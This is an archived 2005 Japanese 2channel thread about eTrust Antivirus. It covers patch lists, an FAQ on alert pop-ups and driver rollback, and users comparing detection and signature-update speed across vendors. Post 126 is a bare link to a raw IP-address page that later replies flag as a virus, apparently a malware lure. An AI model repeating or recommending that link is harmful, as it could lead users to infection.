5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

eTrust Antivirus part4

1 : :05/01/11 10:00:57
eTrsut Antivirusについて語るスレ
前スレ
eTrust Antivirus part3
http://pc5.2ch.net/test/read.cgi/sec/1090189587/
詳細、FAQは>>2-10あたり

2 : :05/01/11 10:02:34
公式サイト(日本)
ttp://www.caj.co.jp/etrust/antivirus/
日本語製品マニュアル
ttp://www.caj.co.jp/resources/etrustil/manuals/

Download Promotional Version(7.0) (Free 機能制限や使用期限無し)
ttp://etrust-chil.www.conxion.com/v7/

3 : :05/01/11 10:03:05
パッチ and アップデート
7.0用
ttp://supportconnectw.ca.com/premium/antivirus/downloads/nt/7.0/etavwinnt_70.asp
ttp://supportconnectw.ca.com/premium/antivirus/downloads/win95/etavwin9x_70.asp
7.1用
ttp://supportconnectw.ca.com/premium/antivirus/downloads/nt/7.1/etavwinnt_71.asp
ttp://supportconnectw.ca.com/premium/antivirus/downloads/win95/etavwin9x_71.asp

4 : :05/01/11 10:03:31
解説サイト
http://etavfp.hp.infoseek.co.jp/

過去スレ
eTrust Antivirus part2
http://pc5.2ch.net/test/read.cgi/sec/1079303111/
【(・∀・)イイ!!】eTrust【信頼】
http://pc.2ch.net/test/read.cgi/sec/1068909338/

5 : :05/01/11 10:04:26
etrust7.0 NT系OS向け(05/01/11現在)
★この3つは当てとけ
>Driver Update 09/08/04

>Cumulative Fix
>QO57211 07/15/04 NT-ETRUST ANTIVIRUS 7.0 CUMULATIVE FIX 0405
>(04/05/31迄のパッチは全て含む)

>Critical Update
>QO60358 10/01/04 NT-VIRUS DETECTED BUT NOT MOVED BY NORMAL USER

★お好みしだい
>QO57720 07/28/04 NT-SIGNATURE DOWNLOAD FAILS IF NO SIGLIST2.TXT
>QO61138 10/27/04 NT-VULNERABILITY IN ETRUST ANTIVIRUS(CAZのみ)

*備考
>QO55042 は QO57720 に新しいファイルが入ってるので不要
>QO55475 は CUMULATIVE FIX に同じファイルが入ってるので不要
>QO55604 は 日本語化してる場合のみ
>QO60344 は XPSP2で、WindowsFirewallを使用しており、
            且つ手動でポートを開けられないユーザ向け(個人使用の場合)

★一般ユーザには関係なさそう(エンタープライズor特殊環境向け)
>QO57217 07/15/04 NT-ISSUES WHEN ASSIGNING PROXY SERVER TO BRANCH

6 : :05/01/11 10:05:22
------
FAQ
------
Q. eTrustってなんですか。
A. Computer Associates (CA) 社のセキュリティ製品のブランド名です。
このスレ的にはeTrust Antivirusの意味として使われることが多いです。

Q. eTrust Antivirusってなんですか。
A. ここよめ。
ttp://www.caj.co.jp/etrust/antivirus/

Q. Realtime Monitorでアラートがポップアップしないんだけど。
A. 次の手順を試す。

1.インターネットプロトコルのプロパティでNet BIOS over TCP/IPを有効or規定値にする。
2.FWでNetBIOS接続を許可する。(TCPのOUTの139だけでいい?)
3.PC立ち上げ後にネットに繋いだ場合はメッセンジャーサービスを再起動。

オフライン状態でポップアップしない場合はリンク先の設定を試みる。
ttp://homepage2.nifty.com/winfaq/w2k/network.html#1159

Q. NTFSで使用する際の注意点があるらしいんだけど。
A. scan alternate data streamsを使用しない。使用するとパーティションを破壊することがあるらしい。
http://www.dslreports.com/forum/remark,7693497~root=security,1~mode=flat

Q. 最新ドライバ入れたら調子悪いんですが。
A. 最新ドライバは何かと不具合を含んでいることが多い。リリース後の人柱さんの報告を参考に。
戻したい場合はetrust関連のサービス、スタートアップを止めた後、
Program FilesのCA\eTrust Antivirus\backupフォルダ内の
ino_flpy.sys.bakとino_fltr.sys.bakを".bak"を外してsystem32\driversに上書

7 : :05/01/11 10:05:46
Q. 無料で使える物があると聞いてこのスレにきましたが、わけがわかりません。
A. なにげにいろいろあります。

1) eTrust Antivirus v7 for Windows Promotional Version
このスレ的には本命。無料で期限とかはたぶんナイ。
プロモーション版だが個人で使う分には十分クサイ。
英語。
ここで入手すれ。
ttp://etrust-chil.www.conxion.com/v7/

2) eTrust Antivirus v7 Trial
eTrust Antivirus v7 for Windows Desktop and Server
eTrust Antivirus v7 for Windows Perimiter Devices
の体験版らしい。このスレに最近やってくる人が混同してよく間違えるようだ。
英語。
このスレ的には罠。
ここにある。
ttp://etrust-chil.www.conxion.com/

3) eTrust Antivirus v7
市販品で店舗での取り扱いは少ないが日本語版。
Amazonとかにあるのは確認した。
どうしても日本語欲しいとか、会社として買おうってならこれか?

4) eTrust EZ Armor
日本では販売されていないが市販品。CAとMSの提携で無料提供されるバージョンで、パーソナルファイアウォール機能も付いている。1年間だけ無料で使える。
英語。
詳しくはこういうの見れ。
ttp://internet.watch.impress.co.jp/cda/news/2003/11/20/1198.html
内容的にはeTrust AntiVirus ver5.4 + Zone Alarm pro らしい。
プロモーション版に無料のパーソナルファイアウォール組み合わせた方がいいかもって話もある。
firewallはZoneAlarmでliteとproが選べて、proは15日間の体験版との報告あり。

8 :名無しさん@お腹いっぱい。:05/01/11 14:42:54
>>1
乙。

9 :名無しさん@お腹いっぱい。:05/01/11 14:56:12
>>6テンプレ貼り乙

>ALL
ところでテンプレのアラート・ポップアップってどうなんだろ?
>2.FWでNetBIOS接続を許可する。(TCPのOUTの139だけでいい?)
漏れはNet BIOS over TCP/IPを有効とmessengerサービス(MSN/Windowsメッセとは無関係なのもテンプレ入れた方が(・∀・)イイ!!かも)
だけでFWは設定しなくてもポップアップしたよ
たぶんLAN上で管理者に通知用だからローカルで使う香具師はこれのためにPC外にNetBIOS出す必要ない?



漏れはこのためだけにNBT.messengerサビスONにしとくのはなんか気分悪かったし
どうせときどきログ見とけば(・∀・)イイ!!と思ったんで
ポップアップ出ること確認してから元に戻してたりしてwww

10 :名無しさん@お腹いっぱい。:05/01/11 18:04:07
いちおつ

11 :名無しさん@お腹いっぱい。:05/01/11 19:47:44
ぱいおつ

12 :名無しさん@お腹いっぱい。:05/01/14 13:21:32
保守

13 :名無しさん@お腹いっぱい。:05/01/14 18:17:58
話題ないっすねえ・・・

14 :名無しさん@お腹いっぱい。:05/01/15 20:07:18
前スレがdat落ちしてたので、過去ログ見たい方はどうぞ

eTrust Antivirus part3
http://yy13.kakiko.com/security/kako/1090/10901/1090189587.html

15 :名無しさん@お腹いっぱい。:05/01/16 15:58:55
スレ違いとは解りながら質問
dat落ちって1001埋まってなくてもするものなの?
スマソ

16 :名無しさん@お腹いっぱい。:05/01/16 16:04:59
するよ。

17 :名無しさん@お腹いっぱい。:05/01/16 20:08:23
>>15
980超えてると、一定時間書きこみないと落ちる仕様

18 :名無しさん@お腹いっぱい。:05/01/17 17:12:00
>>16-17
d


19 :名無しさん@お腹いっぱい。:05/01/18 20:32:54
ローカルスキャンのログはどこに保存されているのですか?
未だかつてウイルスを検出してもらったことはないんだけど。
日本語解説サイトは少ないながら検索しましたが解らず、書き込ませてください。

20 :名無しさん@お腹いっぱい。:05/01/18 20:52:00
タスクトレイアイコン右クリックで

Launch eTrust Antiviru

View メニューの Log Viewer を選ぶ

21 :名無しさん@お腹いっぱい。:05/01/19 01:29:33
ログのtxtファイルなら私の場合↓にある
C:\Program Files\CA\SharedComponents\ScanEngine\Logs

22 :名無しさん@お腹いっぱい。:05/01/19 12:04:08
>>20
確認はそこからできるんだけど、ローカル保存の場所が分かりません

>>21
そこにはシグネチャのupdate履歴しかないようですが…


23 :名無しさん@お腹いっぱい。:05/01/19 18:22:20
2chみてたらウイルスに感染した。
eTrustは感染しましたと英語で表示して教えてくれたが
ウイルス削除してくれなかったよ・・・orz
しょうがないのでノートン入れて駆除しました

24 :名無しさん@お腹いっぱい。:05/01/19 20:40:45
それはそれはようございました。

25 :名無しさん@お腹いっぱい。:05/01/19 21:45:43
>>22
テキトー書いて正直すまんかった

Scanner→Local Scanner Options→Directory→Log Directory

で指定した場所に保存されるっぽい。
dbfファイルはExcelでひらける。

26 :名無しさん@お腹いっぱい。:05/01/19 22:07:13
それで君たちは結局金払わないわけ?
良いソフトだと思ったら製品版買え!

27 :名無しさん@お腹いっぱい。:05/01/19 22:17:20
うちは事務所のPC13台ノートンから乗り換えました。
束で買うと安いねえ。

28 :名無しさん@お腹いっぱい。:05/01/20 01:39:24
>>25
感謝です

26さんに便乗というわけではないのですが、
やはりpromo7.0は性能的に製品版より劣っているのでしょうか。
ドライバ類各種アップデートも2003年の日付から置いてあるし…
23さんのような話を聞くと、どうしても不安になってしまいます。

29 :名無しさん@お腹いっぱい。:05/01/20 08:37:02
誰かに聞いてどうにかなるものでもないと思うが

30 :名無しさん@お腹いっぱい。:05/01/20 09:40:54
7.0が出た頃ですが私の職場約20人のPC約30台がNorton→eTrust7に乗り換え。25Userライセンスで7万弱だったはず。
Nortonに比べて半額以下で収まり、かつ1年毎の更新がなくなってウマー

31 :名無しさん@お腹いっぱい。:05/01/20 21:36:25
さあみんなこの素晴らしいソフトを購入するのだ!

32 :名無しさん@お腹いっぱい。:05/01/21 01:18:08
金出して買う程は良くないよな。

33 :名無しさん@お腹いっぱい。:05/01/21 01:49:57
>>32
具体的にどこが?

34 :名無しさん@お腹いっぱい。:05/01/21 10:34:35
>>33 32じゃ無いけどI/Oが頻繁にやり取りされると
noRT.exeの負荷がキツい。7.1になってからも改善されてない。
って7.1入ってるPCで今カキコしてる訳だが・・・orz

35 :名無しさん@お腹いっぱい。:05/01/21 16:00:27
>>33 32,34じゃないけどI
ポップアップ出すためにNETBIOS over TCP/IP&メッセンジャーサービスがいるって
リモートPCにポップアップさせる必要がなければ意味ないんじゃない?

ログ見とけばいいっちゃいいけどやっぱりポップアップ出た方がいいわぁ


ローカルにも別なポップアップщ(゚Д゚щ)カモーン!!

36 :名無しさん@お腹いっぱい。:05/01/21 16:45:21
>>32
>>34
>>35
では使用終了と言うことで。

37 :名無しさん@お腹いっぱい。:05/01/21 20:57:58
>>32は書き逃げか?

38 :32:05/01/23 13:22:46
あ、俺の場合ね

君たちは お金を出して買えば良いさ

39 :名無しさん@お腹いっぱい。:05/01/23 15:24:12
上のパッチとアップデート何処にあるのかワカラン
orz...


40 :名無しさん@お腹いっぱい。:05/01/23 15:49:59
>>39
>>5を見てわからないってか

41 :名無しさん@お腹いっぱい。:05/01/23 18:07:15
>>40それを言うなら
>>3

42 :名無しさん@お腹いっぱい。:05/01/24 20:48:16
>>38
ほんだけ時間かけて落ち無しか

43 :名無しさん@お腹いっぱい。:05/01/24 21:22:44
>>38
お前もタダで使う権利は本来無いのだ。ちゃんと購入すべし。

44 :名無しさん@お腹いっぱい。:05/01/25 17:43:35
会社で購入を検討中ですが、eTrustってどうなんですか?


45 :名無しさん@お腹いっぱい。:05/01/25 17:51:22
>>44
もっと信頼性のあるところで聞けYO!!

46 :名無しさん@お腹いっぱい。:05/01/25 18:48:58
45には聞いていないんじゃないか。

47 :名無しさん@お腹いっぱい。:05/01/25 18:57:53
>>44
まともに安定稼動させるのが大変なシステムなので
SI(システムインテグレータ)やVAR(付加価値再販業者)
を通して納入させて保守契約を結んならok

48 :名無しさん@お腹いっぱい。:05/01/25 20:05:09
まともだがこれって小池を正論にして世間味方につけてもっともだといってほしいだけでしょ?

本当に在来種を危惧しているなら在来種の何々があぶないとかがでてない。
まったくとんだ野次馬である。

49 :名無しさん@お腹いっぱい。:05/01/25 21:37:32
何がや

50 :名無しさん@お腹いっぱい。:05/01/25 21:51:56
>>48
ワロタ w

51 :32:05/01/26 00:43:11
>>42-43
>>38のメ欄

検出力が低い。
自分で100個程集めてきたウイルスのうち、6個検出できなかった。BitDefenderは100%検出。
導入、維持が( ゚Д゚)マンドクセー
このスレ見なきゃプラグインの取捨選択なんか出来ませんよ。日本語化はネ申が居たので良かったけど。
バグ持ち(らしい)
パーテイション破壊なんて洒落になりませんて。セキュリティソフトとしては致命的。

以上買う気にならない所。

でも軽さと、その割には高い検出力は非常に大きな魅力。フリーなら最良ですね。
ちなみに起動不能になったから消しちゃったんで、スレ見てなかったのでした。(XP Pro SP2です)

長文スマソ。ではさようなら。

52 :名無しさん@お腹いっぱい。:05/01/26 01:08:35
>プラグインの取捨選択

パッチの事か?
片っ端から当てれば取捨選択しなくてすむが。

53 :名無しさん@お腹いっぱい。:05/01/26 01:09:16
落ちが無いのが問題なのであって、偽者かどうかは関係が無い。

54 :名無しさん@お腹いっぱい。:05/01/26 19:52:12
AntiVirus起動時の無駄に広いインターフェース画面は固定なんだ・・・
調整して終了後に再起動させると元に戻ってるっていうのは

55 :名無しさん@お腹いっぱい。:05/01/26 22:07:18
いや、増えてマジで騙されたと思ってお前らもやってみろ!!!


56 :名無しさん@お腹いっぱい。:05/01/26 22:26:22


57 :名無しさん@お腹いっぱい。:05/01/27 12:10:38
日本語はないのか

58 :名無しさん@お腹いっぱい。:05/01/27 22:26:05
>>55
増えるワカメがそんなに楽しいのか

59 :名無しさん@お腹いっぱい。:05/01/28 22:57:42
解説サイトとかCAのサイト見てもわからなかったので、どなたか教えてください・・・。
Win2000ProSP4です。

eTrust EZ Armor がアンインストールできないんです。
eTrust EZ Antivirus Personal Edition というフリーの奴だったと思うんですけど、
スタートメニュー\プログラムには「eTrust EZ Armor」と表示され、その下に
「eTrust EZ Antivirus」とヘルプファイルなどが含まれてます。
当然、ここにアンインストールプがあるわけでないし、アプリケーションの削除の中にもなし・・・。
こんな状態になったら、どうすればいいでしょう・・?ご存知の方、お教えくださいー。

FAQだと思うんだけど、本家サイトですら載ってないんすもん・・。
というか、↓「Uninstall eTrust EZ Armor」とあるので「あるじゃん!」と思いきや、
ttp://crm.my-etrust.com/CIDocument.asp?KDId=1998&GUID=6696C5C256F64E309A5661FE795EDA91
違う内容が表示されるという肩透かしっぷり。どうしてもアンインストールさせないつもりでしょか(w


60 :名無しさん@お腹いっぱい。:05/01/28 23:56:57
>>59
プログラムの追加と削除の中に、CA・・・で始まる項目ない?

61 :名無しさん@お腹いっぱい。:05/01/29 02:16:13
ない

62 :名無しさん@お腹いっぱい。:05/01/29 16:45:01
ある

63 :名無しさん@お腹いっぱい。:05/01/29 19:00:19
なし

64 :名無しさん@お腹いっぱい。:05/01/29 19:22:05
梨が食いたくなった。

65 :名無しさん@お腹いっぱい。:05/01/29 22:29:34
新聞にすっごいウイルスが流行り出してるって
載ってたけど、etrustは大丈夫なのかな〜。

66 :名無しさん@お腹いっぱい。:05/01/29 23:34:14
いや、すっごいウィルスの方こそ対応するだろ

67 :名無しさん@お腹いっぱい。:05/01/29 23:55:21
インターネット上の新たな脅威「ボット(bot)」に気をつけろ!
ttp://itpro.nikkeibp.co.jp/free/ITPro/OPINION/20041216/153951/index.shtml

ノートンでも難しいのにeTrustではこれは完全に無理だな


68 :名無しさん@お腹いっぱい。:05/01/30 01:09:22
>>67
こういう時に各社がどれくらい早く対応するか比べてみたい
Computer Associates は早いほうなんかな

69 :名無しさん@お腹いっぱい。:05/01/30 11:35:34
やっぱNortonやバスターは早いと思うよ。
大手だもん。
それに比べるとこれは厳しいだろうな。

70 :名無しさん@お腹いっぱい。:05/01/30 15:15:44
何故?
CAは少なくともアメリカでは大手なのですが。

71 :名無しさん@お腹いっぱい。:05/01/30 17:14:53
確かにCAは大手かもしれんがセキュリティ部門ではそれほど大手でもないはず
まあ大手だから対応早いに違いないという考え方は捨てた方がいいとは思うが

72 :名無しさん@お腹いっぱい。:05/01/30 18:39:56
結論はetrustは最新のウイルスには対応できないということですか?

73 :名無しさん@お腹いっぱい。:05/01/30 18:50:11
いや、少なくとも企業レベルで導入しているケースが多いんだから、対応が遅かったらそれこそCAの命取りになると思うけど。

74 :名無しさん@お腹いっぱい。:05/01/30 22:34:25
導入するのは企業の勝手
企業が導入してるから対応が早いなんて限らないYo

75 :名無しさん@お腹いっぱい。:05/01/30 22:53:43
苺きんたま祭りの時は、Symantecと同じ位で対応したみたい。

参考:
ttp://www.geocities.jp/ichigo_kintama/

76 :名無しさん@お腹いっぱい。:05/01/30 22:54:07
遅いとも限らない。
工作活動に必死な動機は何?

77 :名無しさん@お腹いっぱい。:05/01/31 00:00:09
いやマイナーソフトというのは常に遅いんだよ
だからマイナーなんだよ
ここら辺は覚悟して使っているよ

78 :名無しさん@お腹いっぱい。:05/01/31 00:02:46
>>77
マイナーソフトとメジャーソフトの違いをおせぇてエロい人

79 :名無しさん@お腹いっぱい。:05/01/31 00:28:49
>77
ソースキボン

80 :名無しさん@お腹いっぱい。:05/01/31 03:50:10
広島のソースはちょっと甘すぎるな。

81 :名無しさん@お腹いっぱい。:05/01/31 16:54:29
対応はそんなに早くないんじゃない
やっぱりノートンくらい有名なところじゃないと、常時スタッフが常駐していないと思いますよ

82 :名無しさん@お腹いっぱい。:05/01/31 17:23:18
憶測だらけ('A`)

83 :名無しさん@お腹いっぱい。:05/01/31 19:31:21
Win32.Rbot.BMB

記述は次のものを公表しました: 2005年1月27日
記述は次のものを修正しました: 2005年1月27日

84 :名無しさん@お腹いっぱい。:05/01/31 19:32:01
http://ocn.amikai.com/amiweb/browser.jsp?url=http%3A%2F%2Fwww3.ca.com%2Fsecurityadvisor%2Fvirusinfo%2Fdefault.aspx&display=2&langpair=1%2C2&c_id=ocn&lang=JA&toolbar=yes

85 :名無しさん@お腹いっぱい。:05/01/31 19:33:25
こいつを貼っとけばいいのかな
http://www3.ca.com/securityadvisor/newsinfo/team.aspx

around-the-clockの意味がわからなかったら辞書を引け

86 :名無しさん@お腹いっぱい。:05/02/01 03:21:35
こないだのベーグルは対応前でも
しっかり検出したみたいよ。

87 :名無しさん@お腹いっぱい。:05/02/01 03:39:14
↑の続き
会社のLANが26日にこれにやられて大騒ぎになったんだけど、
オレのPCは
「Win32/Bagle.CPL.Variant!Worm」
としてしっかり検出してた。
ちなみに、InoculateITエンジンね。

88 :名無しさん@お腹いっぱい。:05/02/01 09:36:49
シマンテックより早いとは思えないけどなぁ

89 :名無しさん@お腹いっぱい。:05/02/01 10:16:13
>>88
思い込みだけで語らずに、ほとんどのベンダーは対応状況を公表してるんだから自分で確かめればいいじゃない
半年から一年分も集めればほぼ正確なデーターになるはず
ベンダーによってウイルス名が違ったりするのと、
各社のポリシーによってウイルスパターンファイルの更新頻度が違うので(頻繁でない所はベンダ内での対応能力がわかりにくい)
その辺は加味して考えないといけないけど、調べてまとめサイトでも作れば面白いかもよ
時々出てくるような影響の大きいウイルスでも登場すればさらにわかりやすい
一番早いAVソフトと遅いAVソフトでは何時間(何日)の開きがあるとか、
○○は普段の更新は少ないがウイルスによってはファイルを緊急リリースするとかわかれば興味深い

本当はパターンファイルで正式対応する前から検出できるかどうかのデーターも欲しい所だけど、
これは個人で調べるのが不可能だし、検出力と対応速度の中間みたいな性格の物だからなあ

90 :名無しさん@お腹いっぱい。:05/02/01 12:46:53
ウイルスの出現→定義ファイル作成までの平均時間らしい(テストした期間中の)
ttp://itmanagement.earthweb.com/columns/executive_tech/article.php/3316511
H:M Anti-Virus Program
06:51 Kaspersky
08:21 Bitdefender
08:45 Virusbuster
09:08 F-Secure
09:16 F-Prot
09:16 RAV
09:24 AntiVir
10:31 Quickheal
10:52 InoculateIT-CA
11:30 Ikarus
12:00 AVG
12:17 Avast
12:22 Sophos
12:31 Dr. Web
13:06 Trend Micro
13:10 Norman
13:59 Command
14:04 Panda
17:16 Esafe
24:12 A2
26:11 McAfee
27:10 Symantec
29:45 InoculateIT-VET

91 :名無しさん@お腹いっぱい。:05/02/01 14:34:31
>>90
意味不明

92 :名無しさん@お腹いっぱい。:05/02/01 14:44:01
>>91
リンク先読めよ。

93 :名無しさん@お腹いっぱい。:05/02/01 16:09:34
>>90
マイナーソフトとやらのほうが早いじゃんw
それにしてもBitdefenderってこういうとこでもガンバってんだな

94 :名無しさん@お腹いっぱい。:05/02/01 16:21:57
eTrustはエンジンによって違いがあるのか??
Kasperskyあたりは普段からとにかくやたらとアップデートが頻繁らしいから早いのはその性もあるんだろうな
Bitdefenderも頻繁
逆にMcAfeeなんかは更新が遅くて”溜めといて一気に更新する”と聞いた事がある
普段から早いにこした事はないが、まず出会う事のないウイルス対応の早さ(つまり普段の平均)よりは
破壊力も感染力も高い重要ウイルスへの対応の方が重要かも
つうかSymantecってそんなに遅い印象がなんだが・・・。

95 :名無しさん@お腹いっぱい。:05/02/01 16:23:35
遅い印象がなんだ ×
遅い印象がないんだ ○


96 :名無しさん@お腹いっぱい。:05/02/01 18:40:58
>>90
あまり使えない資料だな
シマンテックが極端に低すぎるよ


97 :名無しさん@お腹いっぱい。:05/02/01 18:49:22
なんだ「使えない資料」ってのはw

98 :名無しさん@お腹いっぱい。:05/02/01 19:11:05
また思い込みカキコが発生したのかw

99 :名無しさん@お腹いっぱい。:05/02/01 21:14:13
>>90
これを見るとウイルスバスターは3番だから早いな。
一応は日本の企業なんでしょ、経営者は中国人らしいけど・・・。
日本のメーカーがトップレベルにあるのは嬉しい。

100 :名無しさん@お腹いっぱい。:05/02/01 21:33:20
台湾から移ってきただけ

101 :名無しさん@お腹いっぱい。:05/02/01 22:07:45
パターン作成がやたらと早いと今度は誤検出が怖いな

102 :名無しさん@お腹いっぱい。:05/02/01 23:13:36
誤検出の事まで考えると頻繁な更新をする所よりまとめて更新するタイプのソフトの方が信頼できるな。
どうせ普段の更新なんて、出会う事のないマイナーウイルスに対応してるだけなんだろ?
いざと言うときには緊急リリースで十分だもんなあ。

103 :名無しさん@お腹いっぱい。:05/02/01 23:16:59
ノートンは悪質なウイルスが流行らない限り、一週間に一回木曜日の更新
マカフィーもおんなじ
eTrustはそういう意味で言ったら不合格

104 :名無しさん@お腹いっぱい。:05/02/01 23:32:20
更新の早さを売りにしてるような所は結局能力に自信がない所。
定番の企業は中途半端な事をせずにきっちりと仕事をする。

105 :名無しさん@お腹いっぱい。:05/02/01 23:46:10
88 名前:名無しさん@お腹いっぱい。[sage] 投稿日:05/02/01(火) 09:36:49
シマンテックより早いとは思えないけどなぁ

101 名前:名無しさん@お腹いっぱい。[sage] 投稿日:05/02/01(火) 22:07:45
パターン作成がやたらと早いと今度は誤検出が怖いな

102 名前:名無しさん@お腹いっぱい。[sage] 投稿日:05/02/01(火) 23:13:36
誤検出の事まで考えると頻繁な更新をする所よりまとめて更新するタイプのソフトの方が信頼できるな。
どうせ普段の更新なんて、出会う事のないマイナーウイルスに対応してるだけなんだろ?
いざと言うときには緊急リリースで十分だもんなあ。

103 名前:名無しさん@お腹いっぱい。[sage] 投稿日:05/02/01(火) 23:16:59
ノートンは悪質なウイルスが流行らない限り、一週間に一回木曜日の更新
マカフィーもおんなじ
eTrustはそういう意味で言ったら不合格




何なんだこのカキコw

106 :名無しさん@お腹いっぱい。:05/02/02 01:05:39
>>105
ココには思い込みの激しいのが常駐してるみたい

107 :名無しさん@お腹いっぱい。:05/02/02 01:25:52
企業ならまだしも個人の所にいつも最新のウィルスが出現してすぐ届くのかと
更新頻度よりも感染に対する阻止力とか検出力とか安定性あたりで決めたらいいじゃないか
どこも2-3日には対応するでしょ
あとは好みで決めたらイイジャナーイ

108 :名無しさん@お腹いっぱい。:05/02/02 01:44:25
>>99
日本人としては残念だけど、三番目の"Virusbuster"は、トレンドマイクロのやつじゃないっしょ?
トレンドマイクロは、下から九番目だね。

109 :108:05/02/02 01:57:07
これだね。ttp://www.virus-buster.com/en/
しかし、"InoculateIT"と"VET"との時間差は、ずいぶん大きいなぁ。

110 :名無しさん@お腹いっぱい。:05/02/02 05:29:05
>>104
何か違うと思う

111 :名無しさん@お腹いっぱい。:05/02/02 06:21:51
何か違うどころか、何もかもが違うだろう

112 :名無しさん@お腹いっぱい。:05/02/02 07:12:47
折角オブラートに包んだのに

113 :名無しさん@お腹いっぱい。:05/02/02 10:01:05
>>110-111
だからこのスレには、思い違いというか、一般感覚がエラく ずれてるのが常駐してるんだよ。
あまりしつこく書き込まれると、常駐というより寄生なんだが。

114 :名無しさん@お腹いっぱい。:05/02/02 15:56:23
結局etrustは使えないということでOKなの?

115 :名無しさん@お腹いっぱい。:05/02/02 16:01:57
NGにしたいからコテつけてくれよ。

116 :名無しさん@お腹いっぱい。:05/02/02 16:15:08
PCを起動させるとリアルモニターのアイコンが2つできていて、
おかしいなとシステム構成ユーティリティを確認したところ、
realmonがスタートアップに2つ登録されていました。
コマンドは同じなのですが、場所が
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
になっていました。
XPサービスやタスクマネージャからは特に怪しいプロセスは見つかりませんでしたが気味が悪いです。
やっぱりウイルスなのかなぁ
誰か教えてください

117 :名無しさん@お腹いっぱい。:05/02/02 21:00:59
日本がんば

118 :名無しさん@お腹いっぱい。:05/02/02 21:25:08
>>116
もしコマンド(exeのあるパス)が違うならウィルスの可能性もあるね。
パスが同じなら片方を消せばいいんじゃないかな。
俺の場合、realmonは
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
にある。

心配ならオンラインスキャンしてみたらどうかな。
Kaspersky
http://www.kaspersky.co.jp/scanforvirus/
トレンドマイクロ
http://housecall.antivirus.com/housecall/start_jp.asp?i=n
シマンテック
http://www.symantec.com/region/jp/securitycheck/

119 :名無しさん@お腹いっぱい。:05/02/02 21:26:00
>>116
もしコマンド(exeのあるパス)が違うならウィルスの可能性もあるね。
パスが同じなら片方を消せばいいんじゃないかな。
俺の場合、realmonは
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
にある。

心配ならオンラインスキャンしてみたらどうかな。
Kaspersky
http://www.kaspersky.co.jp/scanforvirus/
トレンドマイクロ
http://housecall.antivirus.com/housecall/start_jp.asp?i=n
シマンテック
http://www.symantec.com/region/jp/securitycheck/

120 :名無しさん@お腹いっぱい。:05/02/02 21:28:01
二重カキコ、スマソ。

121 :116:05/02/02 23:27:58
>>118
レスありがd

オンラインスキャンはもちしたんだけど、感染はなし
ad-aware spybotでもスキャン済み
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run実際に辿っていくとrealmonらしきものは書き込まれてない

スタートアップの項目のチェック外して放置ってことでいいかな?

122 :名無しさん@お腹いっぱい。:05/02/03 21:20:07
コレを試して
ttp://www.forest.impress.co.jp/article/2005/02/03/pcst05.html
どうも結果が芳しくなかったんだが、こんなもん?

123 :名無しさん@お腹いっぱい。:05/02/03 21:39:14
>>122
漏れ落としてもないのにてきとーにカキコするテスト

もし実際のウイルスを元にしてるなら無害化するときのコード切り取りのついでに
各AVソフトがヒットするパターン部分までとっちゃってるってことかな

124 :名無しさん@お腹いっぱい。:05/02/03 22:02:55
○既知のウイルスに感染したファイルをシステムフォルダ内に置くテスト
×未知のウイルスに感染したファイルをシステムフォルダに置くテスト
○ウイルスに感染したプログラムをメモリ上で実行するテスト
×Windows起動時にプログラムを自動実行するように無断でレジストリ登録を行うテスト

ですた

125 :名無しさん@お腹いっぱい。:05/02/03 23:29:43
>>122
本スレができてる
http://pc5.2ch.net/test/read.cgi/sec/1107427736/
Kerioとの組み合わせなんだけど、ここにも実は書き込んだんだけど皆結果は悲惨なものみたい

126 :名無しさん@お腹いっぱい。:05/02/05 14:38:03
http://64.186.138.100/u/b.html

127 :名無しさん@お腹いっぱい。:05/02/05 18:17:40
ウイルス注意

128 :名無しさん@お腹いっぱい。:05/02/05 19:39:49
etrustなら大丈夫
でも試さないで。

129 :名無しさん@お腹いっぱい。:05/02/06 03:24:00
NAVなら大丈夫
でも試さないで。



130 :名無しさん@お腹いっぱい。:05/02/06 14:19:27
NAVはスレ違い。
でもノートンスレにも(ここにも)馬鹿な書き込みはしないで。

131 :名無しさん@お腹いっぱい。:05/02/06 15:16:19
ZoneAlarmをやめてSygatePersonalかKerioPersonalを入れようかと
思うんだが、e-Trustとは相性が良さそうなのはどっちか教えてくれ。<(_ _)>

132 :名無しさん@お腹いっぱい。:05/02/06 18:24:16
相性なんて両方とも特に悪くはないよ。
どうせなら軽いほうがいいと思ったからKerio使ってるだけ。
ただ、それなりに勉強が必要だけど

133 :名無しさん@お腹いっぱい。:05/02/06 21:15:12
良さそうって言われてもな。
132はkerioで問題なし、俺はSygateで問題なし。

134 :名無しさん@お腹いっぱい。:05/02/06 21:41:09
>>132
>>133
サンクス! sygate入れてみた。取り合えず問題なしにインストできた。(50代メモリ食ってるな?)
kerioはちょっと悩んだけど昔の話でkerioよりsygateのが比較的安定しているって話を
訊いた覚えがあるのでsygateにした。(真偽は分からんが)

135 :名無しさん@お腹いっぱい。:05/02/07 11:51:32
sygateって安定云々ってより
かなり遅くなるんじゃなかったっけ?

136 :名無しさん@お腹いっぱい。:05/02/07 13:10:42
遅くなり、レジストリをたっぷり汚すのがzone

137 :名無しさん@お腹いっぱい。:05/02/07 23:36:06
前スレに日本語化パッチの場所あったと思いますが今もあるでしょうか?

138 :名無しさん@お腹いっぱい。:05/02/08 00:04:10
これ?
ttp://etrust.esmartdesign.com/

139 :名無しさん@お腹いっぱい。:05/02/08 00:17:41
はいそれです。
ありがとうございました!

140 :名無しさん@お腹いっぱい。:05/02/08 19:26:21
日本語化パッチって安全なの?

141 :名無しさん@お腹いっぱい。:05/02/08 19:32:02
お前、何、考え点の?

142 :名無しさん@お腹いっぱい。:05/02/08 19:35:59
>>140
不安ならいれなきゃ済むことダロが

143 :名無しさん@お腹いっぱい。:05/02/08 20:25:43
黙ってノートンにしない?

144 :名無しさん@お腹いっぱい。:05/02/08 20:40:57
日本語化パッチに不具合無いの?

145 :名無しさん@お腹いっぱい。:05/02/08 20:44:12
お前、何、考え点の?

146 :名無しさん@お腹いっぱい。:05/02/08 23:24:41
不安だったらPC使わなきゃいいじゃない。

147 :名無しさん@お腹いっぱい。:05/02/09 16:47:38
PCは使ってもいいよ。
ネットワークに繋がなきゃいいじゃない。
リムーバブルメディア使わなきゃいいじゃない。

148 :名無しさん@お腹いっぱい。:05/02/11 03:29:41
